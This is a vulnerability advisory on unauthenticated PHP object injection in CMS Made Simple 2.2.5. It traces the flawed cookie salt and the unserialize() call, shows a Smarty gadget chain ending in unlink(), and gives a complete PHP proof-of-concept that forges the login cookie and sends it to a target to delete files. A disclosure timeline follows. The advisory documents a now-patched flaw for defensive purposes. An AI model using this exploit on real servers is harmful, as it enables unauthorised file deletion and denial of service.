Date

Information

Name:CMS Made Simple 2.2.5 (Wawa)
Homepage:https://www.cmsmadesimple.org/
Vulnerability:PHP object injection
Prerequisites:knowledge about installation environment
Severity:medium
CVE:NA

Description

CMS Made Simple v2.2.5 (Wawa) is vulnerable to PHP object injection. This is exploitable by unauthenticated users if they manage to guess or find the installation path of the application. Successful exploitation results in restricted code execution (e.g ability to delete files) on the server.

Proof of Concept

Vulnerability lies in the unserialize() call in the CMSMS\LoginOperations class. This method is called every time when information about authenticated user is required.

 93<?php
 94
 95protected function _get_data()
 96{
 97    if( !empty($this->_data) ) return $this->_data;
 98
 99    // using session, and-or cookie data see if we are authenticated
100    $private_data = null;
101    if( isset($_SESSION[$this->_loginkey]) ) {
102        $private_data = $_SESSION[$this->_loginkey];
103    }
104    else {
105        if( isset($_COOKIE[$this->_loginkey]) ) $private_data = $_SESSION[$this->_loginkey] = $_COOKIE[$this->_loginkey];
106    }
107
108    if( !$private_data ) return;
109    $parts = explode('::',$private_data,2);
110    if( count($parts) != 2 ) return;
111
112    $tmp = [ md5(__FILE__),\cms_utils::get_real_ip(),$_SERVER['HTTP_USER_AGENT'].CMS_VERSION ];
113    $salt = sha1(serialize($tmp));
114    if( sha1( $parts[1].$salt ) != $parts[0] ) return;
115    $private_data = unserialize( base64_decode( $parts[1]) );
116
117    ...
118}

We can see that if the current session doesn't contain the $this->_loginkey and the request contains a specific cookie with that name, then it is used to instead to authenticate the user. The $private_data is then split in two and first part is checked against a recomputed SHA1 value. When these values are equal, then the application uses the second part as a unserialize() argument. When we analyze an authenticated user's cookie, then we can see the data that is being deserialized.

1GET /cmsms/ HTTP/1.1
2Host: victim.site
3User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: en,en-US;q=0.7,et;q=0.3
6Accept-Encoding: gzip, deflate
7Referer: http://victim.site/
8Cookie: b8a7dcad3dec9c3621e9a78689f27a0f=8cc4381b7dd93b5b481537d083b11d986babb56f%3A%3AYTo1OntzOjM6InVpZCI7aToxO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6NzoiZWZmX3VpZCI7TjtzOjEyOiJlZmZfdXNlcm5hbWUiO047czo1OiJja3N1bSI7czo0MDoiYTZhYTg4Yzc1YTFmYTVlOTgzOTk0OTVlOTA1OWI5YThmNjMzMGI3YSI7fQ%3D%3D; _sk_=51959b5d2f729fab497; CMSSESSIDce7c0ced356e=pn8p53tl15r6r7g6qba3sk8re1
9Connection: close

The cookie name b8a7dcad3dec9c3621e9a78689f27a0f is same as the $this->_loginkey. Cookie value contains two values concatenated with :: as seen in the _get_data(). First part is SHA1 hash to prevent modifications to the cookie and second part is base64 encoded data itself.

18cc4381b7dd93b5b481537d083b11d986babb56f::YTo1OntzOjM6InVpZCI7aToxO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6NzoiZWZmX3VpZCI7TjtzOjEyOiJlZmZfdXNlcm5hbWUiO047czo1OiJja3N1bSI7czo0MDoiYTZhYTg4Yzc1YTFmYTVlOTgzOTk0OTVlOTA1OWI5YThmNjMzMGI3YSI7fQ==

After base64 decoding the second part we can see the serialized user data.

1a:5:{s:3:"uid";i:1;s:8:"username";s:5:"admin";s:7:"eff_uid";N;s:12:"eff_username";N;s:5:"cksum";s:40:"a6aa88c75a1fa5e98399495e9059b9a8f6330b7a";}

To exploit this vulnerability we need to be able to forge a cookies with our payload. This means that we need to know the valid cookie name and how the SHA1 hash is calculated. Fortunately most of the values are static and can be easily acquired by reading the source code.

First, we need to generate the cookie name, a.k.a the $this->_loginkey. We can see from the LoginOperations class that it is initialized when the class is constructed:

 1<?php
 2
 3namespace CMSMS;
 4
 5final class LoginOperations
 6{
 7    private static $_instance;
 8    private $_loginkey;
 9    private $_data;
10
11    protected function __construct()
12    {
13        $this->_loginkey = md5(__FILE__.__CLASS__.CMS_VERSION);
14    }
15
16    ...
17}

Where specific values used in this example are shown in the following example block. Please note, that only the __FILE__ parameter is partially unknown to the attacker and the rest are static or easily determined. Attacker can guess or leak the specific file path using other vulnerabilities.

1__FILE__:    /media/sf_Shared/cmsms/lib/classes/internal/class.LoginOperations.php
2__CLASS__:   CMSMS\LoginOperations
3CMS_VERSION: 2.2.5

For now, lets assume that we have a specific payload and let's continue forging a valid cookie. We saw that the cookie value is base64 encoded and concatenated with a SHA1 hash to prevent modification. Let's take a closer look at the _get_data() method.

 1<?php
 2
 3protected function _get_data()
 4{
 5    ...
 6
 7    $tmp = [ md5(__FILE__),\cms_utils::get_real_ip(),$_SERVER['HTTP_USER_AGENT'].CMS_VERSION ];
 8    $salt = sha1(serialize($tmp));
 9    if( sha1( $parts[1].$salt ) != $parts[0] ) return;
10    $private_data = unserialize( base64_decode( $parts[1]) );
11
12    ...
13}

SHA1 is calculated by concatenating the data ($parts[1]) with a salt, which in turn is a serialize PHP array containing several values. The \cms_utils::get_real_ip() function returns the IP address of the client. This means that all elements are known or controlled by us as an attacker and we can recompute the salt used for verifying the integrity of the cookie value.

Now that we know how to forge cookies, we need to construct our payload. After unserialize() call, the class specified in the payload is initialized and any PHP magic methods are called. After some brief analyzes of the source code, I have found a method call chain to delete files on the server. The method call chain starts with the __destruct() in the Smarty_Internal_Template class:

1<?php
2
3public function __destruct()
4{
5    if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
6        $this->cached->handler->releaseLock($this->smarty, $this->cached);
7    }
8}

Method calls a releaseLock() on the $this->cached->handler object and passes a $this->cached parameter. It is implemented by Smarty_Internal_CacheResource_File class.

1<?php
2
3public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
4{
5    $cached->is_locked = false;
6    @unlink($cached->lock_id);
7}

The $cached->lock_id parameter is used as an argument to unlink() call. Following proof of concept code demonstrates the full attack:

 1<?php
 2
 3class Smarty {
 4    public $cache_locking = true;
 5}
 6
 7class Smarty_Template_Cached {
 8    public $is_locked = true;
 9}
10
11class Smarty_Internal_CacheResource_File {}
12class Smarty_Internal_Template {}
13
14function get_salt($file, $ip, $ua, $CMS_VERSION) {
15    return sha1(serialize([md5($file), $ip, $ua.$CMS_VERSION]));
16}
17
18function add_integrity_check($data, $salt) {
19    return sha1( $data.$salt ).'::'.$data;
20}
21
22function get_cookie_name($file, $class, $CMS_VERSION) {
23    return md5($file.$class.$CMS_VERSION);
24}
25
26function encode($obj) {
27        return base64_encode(serialize($obj));
28}
29
30function build_poi_chain($file_to_delete) {
31    # Vulnerable unerialize():
32    # cmsms/lib/classes/internal/class.LoginOperations.php:115
33
34    $obj = new Smarty_Internal_Template();
35    $obj->smarty = new Smarty();
36    $smarty_template_cached = new Smarty_Template_Cached();
37    $smarty_template_cached->lock_id = $file_to_delete;
38    $smarty_template_cached->handler = new Smarty_Internal_CacheResource_File();
39    $obj->cached = $smarty_template_cached;
40
41    return $obj;
42}
43
44function http($config) {
45    $ch = curl_init($config['url']);
46    curl_setopt($ch, CURLOPT_COOKIE, $config['cookies']);
47    curl_setopt($ch, CURLOPT_PROXY, $config['proxy']);
48    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
49    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
50    curl_setopt($ch, CURLOPT_HEADER, false);
51    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
52    curl_setopt($ch, CURLOPT_USERAGENT, $config['useragent']);
53
54    return curl_exec($ch);
55}
56
57function get_config($url, $cookie, $ua, $proxy) {
58    return [
59        'url' => $url,
60        'cookies' => $cookie,
61        'proxy' => $proxy,
62        'useragent' => $ua,
63    ];
64}
65
66# Target CMSMS installation
67$url = 'http://victim.site/cmsms/';
68$proxy = '127.1:8080'; # for debugging
69$ua = 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0';
70
71$root = '/media/sf_Shared/cmsms'; # Installation dir
72$file = "$root/lib/classes/internal/class.LoginOperations.php";
73$class = 'CMSMS\LoginOperations';
74$CMS_VERSION = '2.2.5';
75$ip = '192.168.56.1'; # attacker's public ip
76
77$file_to_delete = '/tmp/target.txt';
78
79$salt = get_salt($file, $ip, $ua, $CMS_VERSION);
80$chain = build_poi_chain($file_to_delete);
81$payload = encode($chain);
82
83$cookie = get_cookie_name($file, $class, $CMS_VERSION);
84$cookie_value = add_integrity_check($payload, $salt);
85$cookie = "$cookie=$cookie_value";
86
87echo $cookie, PHP_EOL;
88
89http(get_config($url, $cookie, $ua, $proxy));

Impact

Unauthenticated attacker can delete files on the server resulting in denial of service or loss of integrity.

Conclusion

Insufficient randomness in generating the salt allows the attacker to forge valid cookies. This in turn allows for code execution resulting in ability to delete files on the server.

New release has been made available to mitigate this issue:

Timeline

  • 10.02.2018 | me                 | vulnerability discovered
  • 13.02.2018 | me > developer     | contacted the developer; no response
  • 21.02.2018 | me > developer     | contacted again;
  • 22.02.2018 | me > developer     | send the PoC
  • 22.02.2018 | developer > me     | responded with a preliminary schedule for the patch
  • 24.02.2018 | me > DWF           | CVE request
  • 10.03.2018 | developer > public | new patched version released
  • 13.03.2018 | DWF > me           | requested for additional details
  • 19.03.2018 | me > DWF           | send additional details
  • 24.03.2018 | me > public        | published details